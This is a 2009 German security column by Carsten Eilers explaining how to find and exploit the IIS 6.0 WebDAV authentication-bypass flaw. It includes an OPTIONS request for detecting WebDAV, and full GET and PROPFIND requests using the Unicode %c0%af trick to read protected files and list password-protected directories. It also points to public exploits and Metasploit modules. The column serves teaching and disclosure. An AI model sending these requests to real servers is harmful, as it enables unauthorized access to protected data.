Montag, 6. September 2010


Topthema

Donnerstag, 4. Juni 2009 | Topthema

About Security #207: Schwachstellen-Suche: Webserver angreifen

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/049200)

Nachdem der Webserver wie in About Security #206 beschrieben mit ausreichender Sicherheit identifiziert wurde, können darin vorhandene Schwachstellen ausgenutzt werden.

Bekannte Schwachstellen finden

Um bekannte Schwachstellen in einem bestimmten Programm zu finden, gibt es eine ganze Reihe von Möglichkeiten. So werden Schwachstellen von mehreren Organisationen und Unternehmen in Datenbanken gesammelt, z.B. in der Open Source Vulnerability Database osvdb oder von SecurityFocus, dem Betreiber der Mailingliste Bugtraq. Eine weitere gute Informationsquelle, insbesondere um neue Entwicklungen zu verfolgen, sind Mailinglisten wie die schon erwähnte Bugtraq oder auch Full-Disclosure. Fertige Exploits, d.h. Programme oder Skripte zum Ausnutzen von Schwachstellen, gibt es z.B. auf milw0rm oder packet storm. Eine aktuelle Übersicht über veröffentlichte Schwachstellen gibt es auch im Bereich "Security aktuell" auf entwickler.de

Ein Beispiel

Als Beispiel bietet sich eine beim Schreiben dieses Textes sehr aktuelle Schwachstelle in Microsofts Internet Information Server (IIS) an: Eine Schwachstelle beim Verarbeiten von WebDAV-Requests erlaubt das Umgehen der Authentifizierung für passwortgeschützte Verzeichnisse und den Up- und Download beliebiger Dateien.

Die Schwachstelle wurde von Nikolaos Rangos ('Kingcope') entdeckt und z.B. auf milw0rm veröffentlicht. Microsoft hat die Schwachstelle kurz darauf in einem Security Advisory bestätigt. Als Workaround kann WebDAV deaktiviert werden. Weitere Informationen wurden ebenso wie eine FAQ in Microsofts Security Research & Defense Blog veröffentlicht.

Potentielle Opfer erkennen

Ob WebDAV aktiviert ist, verrät der Server auf Anfrage selbst:

 telnet server 80

OPTIONS / HTTP/1.1
Host: server
Accept: */*

Eine HTTP-Response wie die folgende bedeutet, das WebDAV aktiviert ist

HTTP/1.1 200 OK
Date: Wed, 20 May 2009 00:52:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN
D, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

Die entscheidende Zeile ist 'MS-Author-Via: DAV' (aus der FAQ in Microsofts Security Research & Defense Blog).

Ein Skript für den Schwachstellenscanner Nmap sucht nicht nur nach Servern mit aktivierten WebDAV, sondern gleich auch noch nach geschützten Verzeichnissen (Beschreibung). Und auch für das Metasploit-Framework gibt es ein Modul zur Suche nach entsprechenden Servern und zwei Module zur Ausnutzung der Schwachstelle.

Angriff!
About Security: Alle Folgen

Im Advisory von Nikolaos Rangos sind nur zwei einfache Beispiele angegeben. Um auf die Datei protected.zip im passwortgeschützten Verzeichnis d:\inetpub\wwwroot\protected\ zuzugreifen, dient folgender HTTP-GET-Request:

GET /  %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername

Die URI enthält das Unicode-Zeichen '/' (%c0%af), das im WebDAV-Request gelöscht wird. 'Translate: f' weist den Webserver an, den Request als WebDAV-Anweisung zu behandeln. In der Folge wird die eigentlich geschützte Datei /protected/protected.zip an den Angreifer geschickt.

Um auf ein passwortgeschütztes Verzeichnis zuzugreifen, wird ein PROPFIND-Request verwendet:

PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>

Der Server gibt danach ohne Passwortabfrage den Inhalt des Verzeichnisses aus.

Ein Angreifer kann diese beiden Methoden schon ausnutzen, um auf passwortgeschützte Dateien und Verzeichnisse zuzugreifen. Das ganze geht aber auch komfortabler. Zum einen mit den oben erwähnten Metasploit-Modulen, zum anderen mit einigen Exploits, die auf milw0rm veröffentlicht wurden. Z.B. einem in PHP, der das Herunterladen geschützter Dateien und des Quellcodes von ASP-Skripten ebenso erlaubt wie das Heraufladen einer eigenen Datei (jeweils nur, sofern der angegriffene Server entsprechend konfiguriert ist). Das gleiche wurde auch in Perl implementiert, außerdem gibt es einen Patch für den Unix-WebDAV-Client cadaver, dessen Funktion in einem Blogeintrag auf SkullSecurity beschrieben wird.

Welcher Angriff möglich ist, lässt sich nur nach der "Trial-and-Error"-Methode herausfinden. Da das Schreiben von Dateien und das Einschleusen von Code nur in ganze bestimmten Konfigurationen möglich ist, die sich vorher nicht testen lassen, kann ein Angreifer nur sein Glück versuchen und auf das für ihn beste hoffen.

In der nächsten Folge geht es um weitere mögliche Angriffe und Gegenmaßnahmen.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security - Übersicht zum aktuellen Thema:

Kommentare

Folgende Links könnten Sie auch interessieren